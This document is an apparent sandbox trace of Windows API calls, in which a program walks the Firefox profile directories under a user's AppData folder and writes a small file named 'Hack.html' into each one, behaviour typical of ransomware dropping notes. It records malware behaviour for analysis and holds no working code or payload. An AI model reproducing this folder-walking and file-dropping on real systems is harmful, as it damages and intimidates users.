1 [0079.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0079.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb", lpFilePart=0x0) returned 0x79 [0079.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", lpFilePart=0x0) returned 0x7a [0079.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a728 [0079.736] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.736] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.736] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.736] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0079.736] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0079.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0079.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0079.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb", lpFilePart=0x0) returned 0x79 [0079.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", lpFilePart=0x0) returned 0x7a [0079.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a728 [0079.739] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.739] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.739] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0079.739] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0079.739] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0079.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0079.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0079.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpFilePart=0x0) returned 0x8c [0079.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\", lpFilePart=0x0) returned 0x8d [0079.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a728 [0079.742] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0079.743] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0079.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0079.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0079.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpFilePart=0x0) returned 0x8c [0079.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\", lpFilePart=0x0) returned 0x8d [0079.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a728 [0079.743] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0079.744] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0079.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0079.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\Hack.html", lpFilePart=0x0) returned 0x96 [0079.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eae0) returned 1 [0079.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.745] GetFileType (hFile=0x174) returned 0x1 [0079.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eadc) returned 1 [0079.745] GetFileType (hFile=0x174) returned 0x1 [0079.745] WriteFile (in: hFile=0x174, lpBuffer=0x26cf764*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x26cf764*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0079.746] CloseHandle (hObject=0x174) returned 1 [0079.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e620, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\Hack.html", lpFilePart=0x0) returned 0x83 [0079.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0079.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.755] GetFileType (hFile=0x174) returned 0x1 [0079.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0079.755] GetFileType (hFile=0x174) returned 0x1 [0079.756] WriteFile (in: hFile=0x174, lpBuffer=0x26d2074*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26d2074*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0079.757] CloseHandle (hObject=0x174) returned 1 [0079.757] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e654, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\Hack.html", lpFilePart=0x0) returned 0x7f [0079.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0079.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.757] GetFileType (hFile=0x174) returned 0x1 [0079.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0079.758] GetFileType (hFile=0x174) returned 0x1 [0079.758] WriteFile (in: hFile=0x174, lpBuffer=0x26d4974*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x26d4974*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0079.759] CloseHandle (hObject=0x174) returned 1 [0079.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\Hack.html", lpFilePart=0x0) returned 0x6b [0079.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0079.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.760] GetFileType (hFile=0x174) returned 0x1 [0079.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0079.760] GetFileType (hFile=0x174) returned 0x1 [0079.760] WriteFile (in: hFile=0x174, lpBuffer=0x26d7224*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26d7224*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.761] CloseHandle (hObject=0x174) returned 1 [0079.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.761] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps", lpFilePart=0x0) returned 0x61 [0079.761] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\", lpFilePart=0x0) returned 0x62 [0079.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.763] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.764] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.764] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.764] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps", lpFilePart=0x0) returned 0x61 [0079.764] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\", lpFilePart=0x0) returned 0x62 [0079.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.764] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.765] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.765] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.765] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\Hack.html", lpFilePart=0x0) returned 0x6b [0079.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0079.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\minidumps\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.766] GetFileType (hFile=0x174) returned 0x1 [0079.766] GetFileType (hFile=0x174) returned 0x1 [0079.766] WriteFile (in: hFile=0x174, lpBuffer=0x26db8c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26db8c0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.767] CloseHandle (hObject=0x174) returned 1 [0079.767] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps", lpFilePart=0x0) returned 0x5f [0079.767] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\", lpFilePart=0x0) returned 0x60 [0079.767] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.768] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.769] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.769] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.769] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps", lpFilePart=0x0) returned 0x5f [0079.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\", lpFilePart=0x0) returned 0x60 [0079.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.769] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.770] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.770] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.770] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.770] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\Hack.html", lpFilePart=0x0) returned 0x69 [0079.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.771] GetFileType (hFile=0x174) returned 0x1 [0079.771] GetFileType (hFile=0x174) returned 0x1 [0079.771] WriteFile (in: hFile=0x174, lpBuffer=0x26e03f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26e03f0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.772] CloseHandle (hObject=0x174) returned 1 [0079.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Hack.html", lpFilePart=0x0) returned 0x61 [0079.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.773] GetFileType (hFile=0x174) returned 0x1 [0079.773] GetFileType (hFile=0x174) returned 0x1 [0079.773] WriteFile (in: hFile=0x174, lpBuffer=0x26e2c78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26e2c78*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.774] CloseHandle (hObject=0x174) returned 1 [0079.774] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\Hack.html", lpFilePart=0x0) returned 0x50 [0079.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.775] GetFileType (hFile=0x174) returned 0x1 [0079.775] GetFileType (hFile=0x174) returned 0x1 [0079.775] WriteFile (in: hFile=0x174, lpBuffer=0x26e54c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26e54c0*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.776] CloseHandle (hObject=0x174) returned 1 [0079.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Hack.html", lpFilePart=0x0) returned 0x47 [0079.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.777] GetFileType (hFile=0x174) returned 0x1 [0079.777] GetFileType (hFile=0x174) returned 0x1 [0079.777] WriteFile (in: 